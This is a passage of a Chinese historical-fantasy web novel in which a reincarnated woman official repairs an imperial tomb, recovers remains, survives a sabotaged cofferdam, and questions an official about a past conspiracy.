张铎不甚服气,却也无可奈何,跟着她满山奔波,劳累不堪。行至一处塌毁多年的水道口,昭早早让他估算一下,把这里的乱石稍微炸开,要填多少火药。
“为何要动这里?”张铎十分不解地问,“此处本就塌毁,乱石堆叠,极不稳定,如果贸然填火药再行爆炸,恐怕会引发深层通道更剧烈的坍塌。”
“你说的没错,”昭早早认同道,“所以我只需要略微松动土石的一点点威力即可。世子祭礼已毕,明日我便着人一面清理、一面加固,你计算好药量,让人把这里炸松一点,如此乱石更易撬开,工期会快上许多。”
张铎道:“镇陵监文书载明,亥陵沟道分水两条,此条荒弃也还有另一条可用,何必再费事?”
这人还看过镇陵监文书记录,可见是个干事的料,可惜所投非人。
昭早早腹诽一通后道:“陛下旨意乃修缮亥陵,自当方方面面都周全才是,岂容有所遗漏?这沉疴宿疾,正好一并解决,你且先算着,我自会禀明世子。”
张铎无法,只得领命行事。
昭早早话说得干脆,心里却也没底——她不是怕说服不了肖平修缮此处,无论建极帝所图为何,她不认为肖平会在乎多费这点功夫。
她怕的是,她回头为甬道中的某两具遗骸敛骨安葬,该如何向肖平解释。
这亦是她甘愿来亥陵的重要缘由之一。
她可以随便编个理由骗他,但她真心不想再这么做。
翌日,肖平并没有多问便同意了此事,主将朱彪设宴请他前去,临行前他只特意叮嘱她道:“自行小心。”
昭早早应道,“放心。”
途经山间一座矮峰,她远远瞧见了另一端的望月崖——上一世她在那里长刀出鞘,杀得血肉横飞;这一世她手持钢钎,腰扎束带,勤勤恳恳来开山凿石。
世事变迁,何其乖谬。
肖炎大约是闲得没事,亲自率人将用作支撑加固的木料送到现场。几声沉闷的连响后,烟尘腾起,张铎观察少顷后道:“成了。”
昭早早安排的人手紧随其后,甚至她自己也在其中。
肖炎十分诧异于她竟要亲自动手,正想讥讽两句“这不是女子能为”之类的话……且见她一钢钎撬开一块半人高的巨石,并随手扔到一边后,便瞪大眼睛不说话了。
旁的人倒是咋舌不已,连数名监作都暗自看呆,一时忘记指挥役夫如何干活,被昭早早眼风一扫,才慌忙呼喝其他人加紧做事。
她事前跟这些工部的下属说过,自己想活动一下筋骨而已,叫他们不必在意。否则,她作为主官如此“亲力亲为”,其他人难免会多想,以为她要做什么表率,不得不装模作样跟着她一块。
事实上,昭早早根本没那么勤快,也不想这样锋芒毕露……只是,为公主敛骨,却全权假手他人的话,她做不到。
至少,她想要亲手把她从这里带出去。
两个时辰后,第一具骸骨被人发现。昭早早垂眸看去,从残留的布料和指骨中握持的兵器可以辨认,是当时的一名杀手。
“慌什么,不过是被掩埋的兵士罢了,小心移出。”昭早早吩咐道,“后续再发现骸骨,统一先报我过目。”
这条甬道当年是被炸毁的。张铎昨日勘探时神色一变,虽然他什么都没说,但昭早早不用细想,也能猜到。
在她前世身亡前,甬道内毫无任何崩塌的迹象,最后却掩埋了所有人——那就只有一种可能,幕后之人心狠手辣,为确保万无一失,连同杀手一并灭口。
如同里面被改动过的机关一样,火药也必然是一早就埋入好的。
因着坍塌迅猛,这些杀手相距并不远,直至日头西沉,陆陆续续清理出骸骨三十八具之多。
这之中没有她要找的人,也没有她自己,昭早早心绪晦涩难明,整个人有些疲惫,只待明日继续。
她这双手今生鲜少舞刀弄枪,也没做过什么重活,搬一天石头,血泡磨得满手都是,晚间洗漱时才觉出疼来。
但这又算什么呢,她闭上眼,幽暗中立刻浮现出那人浑身浴血,被七根利箭钉透……如此辗转反侧,夜不能寐。明明没有睡,却依然逃不开前世的梦魇。
往事已矣,旧日难追。
她反复告诫自己,可思潮起伏,不能自控。
自入利琅山以来,甚或更早——从退婚那日起,那些压抑日久的情感都似乎在这一夜沸腾起来,愧悔、悲痛、愤恨、不甘、遗憾,和无处可寄托的念想。
若她未曾忆起前世种种,是否一切皆会不同?
既然此夜注定无眠,昭早早索性起来,推开门去。
她在这小小的一方院落中静坐,皓月高悬,寒蝉低鸣,心中的动摇转瞬即逝。
若真可以选择,轮回千千万万次,她都愿意再记起。
那年秋夜,他们也在这样的庭院赏月吃蟹,言笑晏晏,她怎么忍心忘了这一切?
院外脚步声渐近,不知是谁轻叩门扉,昭早早应声,见到来人却是一愣。
这张脸今晚一次又一次出现在她眼前,神情装扮,与此刻皆不相同,真要细看,五官也有区分,假如纤毫毕现地描绘到画纸上交叠,必然有诸多出入,但她偏生就是看得痴了。
浮生若梦。
“金疮药,可治手。”看她怔忡,肖平款步上前,递过一个瓷瓶,可昭早早并未伸手接。
肖平疑惑片刻,并没多说什么,径自打开药瓶,熟稔地蘸着药膏帮她涂抹完伤处,留下一句“早些休息”便离开了。
昭早早半途已然回神,想问你怎么会来,是否肖炎多嘴,这金疮药是随行的蒯医官所合吗?你……你……
她心神不定,欲言又止,不知到底该说些什么,又该怎么办,只好放任自己继续装傻。
待门扉轻合,天地唯余清寂。
*
次日,又清理出遗骸十三具,整条水道畅通无阻,再无其他。
可这些骸骨之中也没有昭早早要找的,她顺着甬道直找到更深处的分水尖,那里通往地宫的方向被石壁阻拦,只底下的暗渠显露出来——
两具骸骨交叠纠缠,挤了一处,因常年被流水冲刷,已是残损不堪。
昭早早心如擂鼓,呼吸声喘得粗重,旁人以为她是累的,直劝说些什么,昭早早摆摆手,蹲下身仔细分辨——不对,这是两具男尸。
见她沉默不语
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,手下惴惴不安问道,“昭大人,此处可是有什么问题?这石壁能打开吗?”
昭早早也正在察看,“应该不能。”
此处完全没有打开过的痕迹,如果能轻易开启,慕容青必定会带着公主先逃进去。
那么,自己和公主的遗骨到底去哪了?
前世最后的记忆停留在中毒倒地的那一刻,她原以为那便是终局了,眼下看来却并非如此。
分水尖的另一边自然是另外一条分流水道,只是它并不通往山外,而是直抵溶洞内的一处暗河断崖,其下暗流汹涌,水势难辨。
昭早早一路探寻过去,至崖边仍无所获,疑惑难解地探头观望崖下。
如果慕容青回光返照拖着公主往下跳,那可真是……为敛骨增加了好大的难度。
昭早早眉头紧锁,且不说水底有没有激流旋涡,就算是缓流区,十五年冲刷掩埋,能否留存整骨全凭天意。加之这样昏黑的水道,她跳下去也看不见任何东西,怎么寻觅?
当然,也没必要硬跳,接长绳就好,而且暗河是相连的,可以找闵家借船……昭早早忽地福至心灵,对了,闵家有“没人”!
所谓没人,是沿海疍民的一个分支,他们舟居水宿,尤擅闭气深潜、捞蚌采珠,自有一套于水下寻物的方法。
昭早早暂且部署好甬道其后的加固、修整事宜,立刻便去寻闵栀。
镇陵监卫所环明楼外围而建,闵家的主事船工都居住在西北角,闵栀平日里同样在此执掌调度,只不过院落稍宽敞些。
听闻昭早早要找她借没人打捞物品,便询问是要找什么东西。
这事既需要他们帮忙,便瞒不住,此处还算隐蔽,并无外人,昭早早直言道:“两具骸骨。此乃私事,不必多问,算我欠你人情。”
“好说,”闵栀颔首答应,“我自会遣人秘密寻找,绝不多透露一个字。”
闵家船队已将暗河水道摸索得差不多,七拐八绕将船行至崖下,以探暗礁为由派没人下潜。
如此打捞两日,沿断崖处向前又搜寻数里,一无所获。
闵栀问她:“还寻么?”
昭早早踌躇半晌,难做决断。她心知希望渺茫,再找下去也是徒费人力,但……
闵栀见状道:“我再让阿琛去试一试。若连他都找不到,那便就真没办法了。”
昭早早点点头,亦决意如此。又奇怪道:“阿琛是没人?”
看他模样,一直以为他是番邦异族来着。
闵栀摇头,说的却是:“不知道。但他的水性极佳,曾独自在海上漂泊。。”
这么厉害?昭早早不免有所希冀,特地在阿琛下水时守在岸边等。
也不知闵栀是如何跟他交待的,反正阿琛什么也没问,还是跟那时在小院里一样,悠游自在的神情,一猛子扎下去,大半炷香后才又浮出水面。
昭早早诧异,人可以闭气如此之久吗?闵栀笑着解释道,不过是他游得远了,换气的时候你没看见而已。
果不其然,阿琛再一次从水里钻出来,已是一个时辰之后。
如此寻索半日,仍是无果。再强求也是与人为难,昭早早终究不再抱希望,待阿琛下一次探头,她正要开口说上来休息吧,不必再找了,却见他摇头叹道:
“你这么个哭丧脸蹲在岸边,吓也把人吓死了。”
“……”
昭早早哑然,不知骂他什么好。阿琛自顾自泅水上岸,“这底下没有你要找的,只有这个。”
他说完,提着两样东西上来,置于她面前,一把是半截断刀,一把是柄软剑。
“足够了。”昭早早眼眶一热,险些落下泪来,沉声道,“多谢你,足够了。”
40. 围堰
此处水道只有闸门和入口一小段受损,修复重建并不困难,分拨一队人手便能料理停当。
接下来要进入亥陵地宫才是困难重重,进都进不去,谈何勘探修缮?
主将朱彪特地遣人来言明:镇陵军今时今日对那通天藤也是束手无策,已然十数年未曾派人深入,至多护送工匠抵达关押死囚的上层地宫——至于要如何下抵底层皇陵,便全凭诸位自家本领。
这番说辞,这等做派,还枉称什么镇陵军,昭早早嗤之以鼻,但心下亦明白,要带领大队人马闯过盘根错节、幻瘴丛生的中层通天藤地宫,伤亡必然不小,恐怕得填出一条血路来。
怕就怕填的还是无底洞。
通天藤是喂不饱的,它们贪婪吞噬血食,甚至能将吸食不尽的养分储存起来。
硬要说的话,它们才是皇陵真正的守卫者,只要这些藤蔓在,哪怕是改朝换代,也打扰不了这些帝王的安宁。
除非是慕容家的人。
若是上辈子,昭早早要过这里,不说是大摇大摆,也得是肆无忌惮。
但如今,她从肃陵带出来的缎带早在那息壤破庙中消耗殆尽,其他人不知道有没有留存……即便有,靠那区区几条,能护得住几人周全?
别说抬走先帝梓宫,根本挪都挪不动。
当年慕容青仓促接手亥陵,尚未及布设“储物匣子”,便命丧黄泉。
以地宫曲折深邃,和帝王棺椁之规制,没有数百人轮番搬抬,根本不可能运送出去。
正经的皇陵墓道走不了,那就另辟一条坦途——早在王都接此任命起,昭早早便在脑海中盘算着要从何处开凿。
地宫深嵌山腹,与岩层浑然一体,周遭尽为坚硬岩石,无半分可供挖掘的松软土层。
若硬生生垂直向下开凿一条石阶甬道,其耗时耗力,数以年计,要运送重物也不容易。
所以唯一可行的办法便是从下方走水路。
她连日乘着闵家的铁底梭子船在蜿蜒的地下河水道细致勘探,最终圈定两处备选点,只是尚在权衡到底哪一处更省时省力。
正踌躇难决之际,叔父昭明的家书到了。
这封回信看似普通,无外乎“皇恩浩荡、万事小心、保重身体”之类的絮言,惟独末尾附了一幅祈福保平安的《童子抱鲤图》,画工精简,笔触古朴遒劲。
昭早早一眼就认出这并非昭明笔迹,最有可能的便是,这是祖父昭远留下的画作。
画中童子憨态可掬,怀抱一尾赤鲤,鲤首高昂向天,一双鱼眼却斜睨着背景山水间的一处飞瀑。
细观之下,不仅那地形水势瞧着十分眼熟,瀑布后勾勒山石的笔触也显得虚浮,似有裂隙。
昭早早心下雪亮,这暗喻的地势结构薄弱之处,与她推测的其中一地不谋而合。
当下便有所决断。
镇陵监大殿中,昭早早展开利琅山水脉图的副本,用朱笔圈出瀑布下游的一段河域,说明道:
“依山势推断,此处溶洞暗河在地宫前庭下方,离主殿非常近,岩层也相对浅薄,只消围堰断流,以‘倒井’之法倾斜向上凿隧穿岩,最多十丈,便可直抵地宫。”
张铎问:“为何不凿穿水道石壁,从那里挖过去?”
“水道狭长,离主殿很远,宽度不够运送我们需要的东西。”昭早早摇头道,“从那里走需要重修整条石道,工程只会更为繁重。且沿途机关重重,都是麻烦。”
肖平听完,当即同意围堰开凿。倒是四和瞪大双眼,似是不信进入地宫的办法竟能如此简单粗暴,质疑道:“就这样直接挖进去,若是挖到什么流沙、水银之类的机关怎么办?”
“那些都在墓顶,安在墓底有什么用。”昭早早笑道,“这一段是安全的。甬道底下最多有暗渠,挖断了一处也不影响全局,正好还能少挖点。”
溶洞内的瀑布并不会有多大,只是所选的这一段河道较宽,水流湍急,他们人手有限,全面围堰阻断水流恐有溢漫之险。
昭早早召集工匠反复商讨,最终定案:紧贴一侧岩壁,修筑一道半月型导流堰。
闵家的船队游鱼般穿梭于暗河礁石间,运送成批的木桩、沙袋、竹笼、麻绳等物源。
碗口粗的巨木桩被深深楔入河底的基岩中,紧密排布,形成牢固的骨架。
木桩间隙,装满石块的竹笼被沉入水底,堆叠在一起,成为稳固的基石。
石笼外侧,还有无数麻布沙袋层层挤压夯实,尽可能地隔断水流,浸透桐油的粗韧麻绳再将堰体进一步捆扎加固。
奔腾的河水撞击着这逐渐成型的临时堤坝,未被侵占的另半幅暗河因为水道收窄,水流陡然加速,发出更响亮的轰鸣。
肖平问她:“此堰能支撑多久?”
昭早早略估算道:“只要不是连日暴雨,至少三个月不成问题,时间足够了。”她想了想又补充说:“若遇暴雨涨水,再行加固便是。”
她命人紧急赶制了数架龙骨水车,架于堰顶,日夜不停往外抽水。
水线一寸寸下降,然而渗漏之处多如筛眼,迎水面尤为严重,需以粘稠胶泥和软木条反复填塞、抹平,完全滴水不漏是不可能的,但少量积水可以人为不断排出。
数日后。围堰内积水终于抽干,露出嶙峋的河床和湿滑的青黑色岩壁。
岩壁在铁钎重锤的敲击下,簌簌落下碎石。如此沿预定路线向内凿击,每掘进一丈,需以榫卯木架咬合成框,加固洞壁,防止塌陷。
进程过半时,遇到一堵异常坚硬、难以开凿的岩层,凿击之下火星四溅,收效甚微。张铎提议可以钻孔填入火药,炸碎这拦路石,昭早早同意道:“行,你亲自去办。”
张铎一愣:“下官老迈,腿脚不便,万一…”
“没有万一。”昭早早打断他,好整以暇道,“张大人正年富力强,谈何老迈。药量由你计算,引线也由你亲自点我才放心,以免那些生手操作不当,炸塌了围堰,激流冲涌,枉送性命。”
这话言下之意很是直白,炸塌了张铎第一个死,他脸色变了变,只当前面的提议没讲过,稳妥道:“那不如用老法子。”
他说的老法子昭早早当然知晓:先以烈火持续炙烤岩体,再泼以冷水,如此冷热剧变,循环往复,岩层自会迸裂,再以铁钎楔入裂缝,分块撬落。此法步步需时,急不得。
眼下别无良策,只得慢工出细活,且先烤着。
肖炎深知此事关键,不仅派遣精锐军士日夜看守围堰,自己更是每日必到,仔细巡查。
若碰上昭早早,少不得要阴阳怪气呛两句,昭早早精神好便敷衍他两句,疲累了就哼哼哈哈,肖炎一日忽然道:“你怎么好像与
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以往不同了。”
“哦?”岩石刚泼过冷水,昭早早凝神观察着隧道内冒出的滚滚白烟,随口应道,“是吗?”
再怎么提醒自己不能模糊两世界限,她的心境也还是不可避免地慢慢起了变化,如今再跟肖炎这样太平世道里长起来的天真公子斗嘴,未免太傻,她权当逗小弟玩。
“但还是配不上平哥。”肖炎也顺着望过去。
昭早早好笑,“这不八字两撇都没了,还提那些个老黄历干嘛。”
肖炎颔首,“算你识趣。”
忽闻隧道内一声闷响,继而是一连串令人牙酸的噼啪声,石屑烟尘弥漫,待尘埃稍落,果然有监作惊喜地前来汇报:岩壁碎了!
照此进度,进入底层地宫的内部已是指日可待。
半月后,隧道彻底贯通。世子肖平身为皇家子嗣,肩负祭告先祖、安灵奉土之重任,自该首当其冲,亲入地宫,以彰显孝道。
溪真道长随行诵经作法,责无旁贷。
昭早早点名张铎同行,理由冠冕堂皇:“张大人在工部任职多年,经验老到,见多识广。地宫构造复杂诡谲,正需张大人从旁指点。”
张铎很是不愿,奈何世子坐镇其后,无从推诿,只得硬着头皮应承下来。
而闵栀则让阿琛随队同行——那即将搬出来的大型“木料”,有没有什么不便现有船只运输的地方,还得他提前核对。
然而天公不作美,连日暴雨倾盆。暗河水位肉眼可见地上涨,浑浊的浪涛裹挟着断枝残叶,凶狠撞击拍打着围堰。
昭早早即刻指挥人手增固木桩、加垒沙袋,几个月都等了,也不在乎多等这几天,她正于河岸吩咐众人谨慎行事,切勿慌乱,堰上一名役夫脚下一滑,惊呼着跌入汹涌浊流,瞬间被冲出数丈远。
众人尚未及反应,昭早早已纵身跃入水中——电光石火间根本不及细想,稍迟一刻,那人必被激流吞没,尸骨无存。
她几乎是全凭本能,几个迅捷有力的划水便追上了落水者,一把抓住其衣领,硬是逆着湍急水流,抓住了施救船只投掷过来的绳索。
阿琛在稍远处定定目睹了全程。
察觉到他的注视,昭早早抬眼望去,却见对方只是笑了笑,举起手对她比了一个“真厉害”的手势,大约是在夸赞她水性超群。
昭早早自己亦觉意外。
她今生其实不太会水,倒是前世慕容氏对子弟训练严苛,族人无一不精通水性。有些招式本领刻入了骨子里,轮回转世都忘不掉,好在到底救人一命,未出纰漏。
时值初冬,河水冰冷刺骨,这一番落水,她难免染了些风寒,不算严重,守陵军那边蒯军医送来几副药,她懒得喝,直接让人拿给那天一道落水的人,小病而已,犯不着额外吃苦。
可她再要去围堰却被四和拦下了,说是世子有令,命她病愈前好生歇着,不得到处乱走,以免传染病气给旁人。
昭早早问:“世子当真这么说的?”
四和梗着脖子哼一声应得模糊,昭早早压根不信,白眼道,“若为公事便罢了,为私事他哪可能讲这么多话,最多让我歇着,后面都是你自己加的吧?”
“……”四和一时被她噎住,扔下一句“也不全是”便回去复命。昭早早从善如流,左右近日涨水,等到雨歇水退,才是进入地宫的好时机。
41. 隧道
“这便是你特地卜卦的黄道吉日?”昭早早上完香,压低声音对祭坛边立着的人道。
溪真道长老神在在捋着小胡子,一副高深莫测的模样,拂尘一甩:“黄道吉日主日子吉利,诸事皆宜、不避凶忌,哪里管得了天气。”
雨停已有时日,尽管暗河上游的积水仍在不断汇入,但围堰也已加固加高数次,轻易不会有危险。
脚下裸露的河床弥漫着浓重的水汽与土腥味,不过香炉一点,什么味道也盖过了。
今日众人就要进入地宫,依礼制,在新辟出的隧道口设了祭坛,临行前所有人都需要点上三根香敬奉山神。
世子肖平自然是首献,等会进入地宫他还有大礼要行。
昭早早原本不信这些,礼神从来是随众敷衍,奈何如今情势不由人,她拜得格外虔诚,心说信女前世葬身于此,若今生还折在这里,势必要夺了山神的位置来坐坐。
不知是否冥冥中真有感应,他们人在围堰底部,都能听得到山洞外轰隆隆的雷鸣。
谴责完牛鼻子道术不精,她赶忙在心中补上:山神息怒,若此番平安无事,信女定当加倍供奉祭品,好酒十坛,乳猪若干,等等等等。
可惜山神小气,竟是不肯再给机会。
她将将上完香,身后还有张铎、阿琛、四和及几十个精锐护卫在等——堰顶一道黑影毫无征兆地从阴影中暴起!
那人着装与肖炎麾下守卫无异,行动间却分明是死士做派,悍然直扑,全无防护,当下挥刀直劈捆扎木桩的绳索!
刀光如冷电,却是肖平猛地掷出匕首,精准地没入那死士胸口,瞬间将其击落水中。
几乎同时,堰上数个方向皆有人飞身去砍绳索,只听肖炎在上方怒吼:“有叛党!拿下!”
场面登时大乱,昭早早注意到方才那死士想砍之处麻绳颜色灰暗,或许并非脏污,而是提早被人用酸液腐蚀过,如此异色之处还有不少,时间一长,即便不被砍都撑不住。
显然她因病没来的时日,被人钻了空子,眼下只消主索断掉一根,巨力失衡,整排围堰都会被冲垮。
“走!先上去!”
昭早早厉声喝道,倒也不必她特意提醒,这般悬河倒灌的生死关头,谁不惜命?离墙梯较近的人都已经争先恐后向上攀爬,你拉我扯,推搡间竟还跌下两人。
“来不及了!”
混乱中不知是谁嘶声大叫,话音未落,一道水柱从半空中激射进来,兜头冲翻香炉祭坛!
整座堰体吱吱嘎嘎发出扭曲崩裂之声,昭早早当机立断一把拉住肖平:“进隧道!”
下一刻,多处木桩都被洪流冲击错位,河水轰然倾泻,原本干涸的内堰登时化作打着旋的水潭。
得亏两人身法迅捷,刚钻进隧道口,巨大的冲击力便从背后如狂浪拍来,瞬间没顶,推得他们向前猛扑!
比起冲力,这冰冷浊流中裹挟的断木碎石才更为可怕,她下意识想护住肖平,却反而被他紧紧抱入怀里,一刹那有什么东西狠狠击中他们。
太快了,在水流中根本无从躲闪,任怎样绝世的高手,在大自然的力量面前都不过蚍蜉撼树。
这一记重击,震得昭早早屏住的气息骤然吐散大半,原本拥着她的臂膀也脱力松开,她心头一紧,反手死死拽住肖平,却根本不敢耽误时间、也没办法在黑暗的水域中查看他伤势如何,只能拼命顺着水流向前疾游。
灌入的水流渐弱,水位很快不再上涨,两人得以在气息耗尽前浮出水面。但昭早早却不觉庆幸,这说明入口很有可能已经被乱石堵住了。
隧道内人声嘈杂,先逃进来的人大多瘫在这里喘气咳水,冻得瑟瑟发抖。
也有怕水位继续上涨而向高处跑的,昭早早此刻没心思管旁人,隧道内嵌有风灯,光亮照下来,两人身上绯红染满一片,都是从肖平那边淌下来的血。
“公子!”
四和也在隧道中,脸色惨白,颤抖着手上前接应。昭早早认出是他,才松手把人交过去,肖平半阖着眼,浑身软绵,意识模糊。
她前脚跨出水,后脚阿琛紧接着冒出来,手里还拖着一个人事不省的道士,正是溪真。
“先上去。”昭早早说着,出手封住肖平几处大穴。
当务之急,必须尽快找到安全干燥的地方替肖平更衣取暖、包扎伤口,否则浑身湿透待在这样阴寒的水道,不出一夜他们就会全部冻死。
隧道顶端事前已砌好石阶坡道,但地宫的底板尚未掀开,张铎正战战兢兢在门口徘徊——他逃得最快,几乎是第一个冲进隧道的,可见平日声称什么腿脚不便实在大为谦虚。
“世子可还安好?”张铎见他们到来先是一惊,继而面露喜色,“下官未敢僭越……”
昭早早心知肚明他不敢贸然进去不过是怕里面有机关陷阱而已,当下未与他废话,上前一步登阶,运劲于掌,轰然推开厚沉的石板。
甬道洞开,地宫内鲛人灯一盏盏迎风自燃,次第排列开去,幽光延入深处,似是无声恭迎。
确认位置一如所料,并无异状后,昭早早令众人跟上。四和背着肖平,而他垂下的指尖仍在滴血,哪里还能耽搁,她沉声道:
“所有人跟紧我,乱碰任何东西,生死自负。”
按理没有特殊原因,慕容氏是不会惊扰帝灵,深入第三层地宫的。所幸十五年前奉移先帝入陵,她率队来过这里,为防误触机关,将作大将昭远全程陪同。
越走,前世的记忆越发鲜明,她依稀回想起祖父当年的面容。
沧海桑田,物是人非。
左耳室中陪葬有大量布匹衣物,她径直寻摸过去,翻倒其中一个箱子,绫罗绸缎散落一地,权作铺垫。
她让四和将人放在垫上,迅速扯了干净布条为肖平清理血污,扒衣服动作之快,四和压根来不及阻止,瞠目结舌道:“你你你……”
“你什么还不帮忙!”昭早早吼道。
肖平赤裸上身被她扶着,胸前仅悬着一枚莹白玉佩,背后却豁开半尺来长的血口,最深处伤可见骨。
光靠紧压包扎恐难止血,她令众人赶紧翻找这里有没有什么针线物件,若实在不行……
她目光移向壁上的长明灯,只能生火,烤红了铁器去烙……她宁愿肖平没有护她。
她盯着他血色尽失的脸,合拢的眼睫投下沉沉的暗影。
为什么,今生他们最多就只有同窗之谊,勉强算半个青梅竹马,为什么又走到这一步?
他就这般良善吗,值得吗,为天下人,为一个人?
肖平睫毛颤动,徐徐睁开眼,神光聚拢,正对上她。
他的声音微弱却清晰:“如果我有不测,你一定要将先帝梓宫完完整整地运出去。”
“……?”
昭早早怔在当场,都这种时候了,还管什么皇命,那狗皇帝怎配你不顾生死为他卖命!
诸如此类的话在脑中匆匆闪过,她没有说出口,因为明知这些并不重要,真正重要的是什么,她心中纷杂情绪翻腾如沸,千言万语一齐涌来,反倒一个字也吐不出。
肖平哪知她这些纠结不堪,低声道:“答应我。此后,莫要再回王都,隐姓埋名,藏……”
他声气渐低,嘴唇翕动,似乎还想说什么,但眼神一散,彻底瘫软下去。
这一幕与前世重叠,几令昭早早五内俱焚,立刻探他鼻息,指搭脉门,确认只是失血过多暂时昏迷,仍是止不住的心惊肉跳。
她咬牙正欲叫人取灯,张铎小心翼翼凑上前拿出一个蜡封的竹筒,踟蹰道:“此乃下官平日治
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疗腿疾的三七粉,可助世子止血。”
昭早早一语不发盯向他,蛇一样阴翳,张铎视线扫过肖平胸口,不觉在那枚玉佩上顿了一顿。他拔开蜡封,仰头自吞了些许粉末,合着唾沫咽下,这才又对昭早早递出竹筒,道:“不妨一试。”
“手伸来。”昭早早言简意赅,扣住他腕脉测过没有中毒的迹象,才把药粉都倒在肖平背后的伤口之上。
绑带缠好,眼见血迹没有再扩散洇开,她悬着的心终于暂落,抬眸看向张铎,道了声谢。
对方神思恍惚,竟似未闻。
地宫寒意刺骨,众人各自找了干燥厚实的衣物换上,事急从权,哪还顾得上什么礼制王法,一时间在座诸多皇子龙孙,你五爪金麟,我明黄镶边。
溪真道长在墓室里幽幽转醒,惊觉自己衣衫尽褪,浑身凉风飕飕。面前一身华服的阿琛把手里的龙袍递过来,“醒了就自己套上。”
他满脸愕然,两撇小胡子被水一泡早不知掉哪去了,现下也无人在意这等细枝末节。他环顾四周后道,“至少先给我找件里衣吧。”
稍作整顿,他先是去查看了世子伤势,又问守在一旁的四和道,“只有这些人避入地宫?”
四和摇头,“还有昭将作,和张主事。”
“他们人呢?”
“昭将作说,要想办法出去,她先带张主事去探路。”
昭早早所言非虚。她重返隧道,查看过入口确实被堵得严严实实。
他们困在这里,外面的人要进来,只能重新围堰、清理乱石,这绝非三五日就能办到。
以肖炎的火爆脾性,或许会试图硬闯上层地宫救援,且不论他有没有对抗通天藤的本领——主将朱彪首先就不会同意这等极容易“赔了夫人又折兵”的莽撞办法。
换言之,如果找不到出路,又没有食物,这一群人很快就会饿得饥不择食,届时局面会变得非常难以控制,甚至是……可怖。
但在那之前,她还有另一件事要做。
前方甬道的尽头分开一条岔路,灯火不及,幽暗死寂。
鬼影幢幢中唯有张铎一个人的脚步声,那昭家的丫头走起路来悄无声息,仍在若无其事地引他深入,分外诡异,他跟在后头,踟蹰道:
“要不……还是回去多叫几个人,造些火把,再来探路?”
“张大人,此处僻静,正好说话。”昭早早转过脸,语气森然,“世子身上的玉佩,可是令大人想起些什么?”
“没有没有,”张铎慌张摆手,“下官不过是喜好美玉,所以多看两眼罢了。”
“是吗。”她低笑一声,道:“张大人,我们明人不说暗话。”
她忽然停步,不知为何,张铎竟不敢擅动。或许是害怕墓中机关,或许是慑于她周身的气势,他只能屏息凝神,听她继续说道:
“你看,地宫凶险,为防万一,我不该留有二心的人。若你方才没有献药,此刻早已‘误触机关,不幸殉职’。这死法可比他们给你安排的好。”
“你明面上当了那么久的幌子,没有功劳也有苦劳,晋王说弃便将你弃了。”昭早早冷眼看他,“哦不对,他一开始就没有打算留你性命,你为暗中布局之人费劲遮掩,可真是表错了心。”
弱者未必有多么忠诚,只是在攀附强者时幻想着飞黄腾达的美梦,而在强者眼中,他们连踏脚石都不算,一颗弃卒而已。
张铎额角渗出细密冷汗,抬手欲拭,对上昏黄光影中昭早早半明半暗的脸,顿时脊背发凉,张口结舌:“下官……下官……”
昭早早道:“张大人可想清楚再答。”
张铎挣扎半晌,终是肩头一垮,如释重负般长叹一声:“后生可畏啊……一晃眼,这么多年都过去了。想当初,老夫还曾喝过你的满月酒。”
42. 旧事
地宫里的空气仿佛凝固,每一次呼吸都令人喉间滞涩。
张铎望着昭早早那双洞穿人心的眼睛,只觉她与她父母亲半点也不像。
那个总是笑容和煦的昭仪卫,那个温婉如玉的昭夫人,怎么会生出这样锋芒毕露的女儿?
她甚至不像他见过的任何女子,而更似一柄隐而不显的利刃,平日敛在鞘里,必要时才寒光乍现。
这样的女子,竟是那时粉雕玉琢的小团子么。
事已至此,决定坦承一切的张铎如释重负。
自赶赴利琅山以来,日日如履薄冰的煎熬,在这一刻终于消散。
他像是一个破罐子破摔的赌徒,在押下全部身家后,反而获得了前所未有的平静。
地宫湿冷的潮气裹挟着旧年尘埃,张铎喉头干涩地滚动,有些隐秘,终究是藏不住了。
“当年,我与令尊同在晋王府当差。”他再叹气,声音在地宫的石壁间回荡,显得愈发苍老。他的目光仿佛穿透层层地底,回到了多年前那片富丽堂皇的楼阁殿宇。
“那枚玉佩……原是一枚稀世璞玉,世子从小体弱多病,王妃爱子心切,便亲手雕琢了这枚长命牌,祈望他平安康健。那图样还是我奉命去寻当时最好的画师所绘,‘瑞兽衔芝’,我绝不会认错。”
张铎口中的王妃,自然不是现今这位,而是三朝名将肖老将军的女儿。
这桩婚事从一开始,就建立在权力交换的流沙之上。
亲王迎娶手握实权的将军之女,本该是朝中大忌,概因晋王年少,先帝登基时他才五岁稚龄,此后韬光养晦多年,深得先帝喜爱。
加之彼时同为亲王的建极帝,需要联合晋王,增强自身与东宫相抗的筹码,这才从中斡旋,一手促成了这桩看似风光无限的联姻。
然而,待到建极帝最终夺位、顺利平叛,曾经的盟友立刻转变为最大的心腹之患。一位拥有强盛妻族、在军中影响深远的亲王,其存在本身就是对皇权的莫大威胁。
“王妃……是位真正的善人。”张铎的语调忽然低沉下去,带着真切的痛楚,“我那时只是王府的一个小小工正,俸禄微薄。我儿与世子同岁,突发恶疾,危在旦夕,任是耗尽家财也无能为力……”
他停顿了一下,仿佛又看到了那个绝望的夜晚。
大雨倾盆,他跪在医馆门前求救,大夫却只是摇头。
“王妃得知此事,特去宫中请来太医,救回我儿性命。”
张铎的声音微微发颤,“我无以为报,只能在家中为她们母子立下长生禄位,感念恩德。”王妃偶然得知,请来太医,救回我儿性命。我无以为报,只能在家中为她们母子立下长生禄位,感念恩德。”
昭早早静静听着,指尖摩挲着玉佩上的纹路。那瑞兽衔芝的图案,在她指腹下格外清晰。
“可怜苍天无眼,造化弄人。”
他垂首,语调里掺入一丝苦涩,“世子四岁那年,晋王夫妻愈发不睦,王妃欲带世子回甄城外家省亲。昭仪卫同样出身甄城,王妃体恤下属,特准他携妻女一并返乡,也就是你和你的母亲……”
张铎的声音越来越低:“谁知,那一去,就再也没有人回来。”
“据闻是遇上山中土崩走蛟,整条车队无人幸免。因着前因不甚体面,王府对外只称王妃与世子病逝。所有人都以为王妃母子当真是没了,我也不例外。”
张铎讲得含蓄,昭早早听得却很明白。她自小只知父母殁于回乡途中的石洪,却不想竟是与肖王妃一道,那这场所谓的“意外”便说不好是天灾还是人祸。
晋王妃与其子的“消失”,实则是新帝与晋王之间冷酷博弈的终局——一方施压推动,另一方则以毫不犹豫的舍弃甚至默许,来换取自保和新帝的“信任”。
晋王用妻儿的命运,换来建极帝对其“忠心不二”的嘉许,乃至后续一桩与清贵名门之女的新婚。
怒火在昭早早胸中翻腾。
若说前世自己身陷局中没可奈何,今生又与普通人何异?照样逃不开亲人横死。
上位者无德,便是如此遗祸百姓!大伯父将家主之位交托她时,曾说过……什么来着?
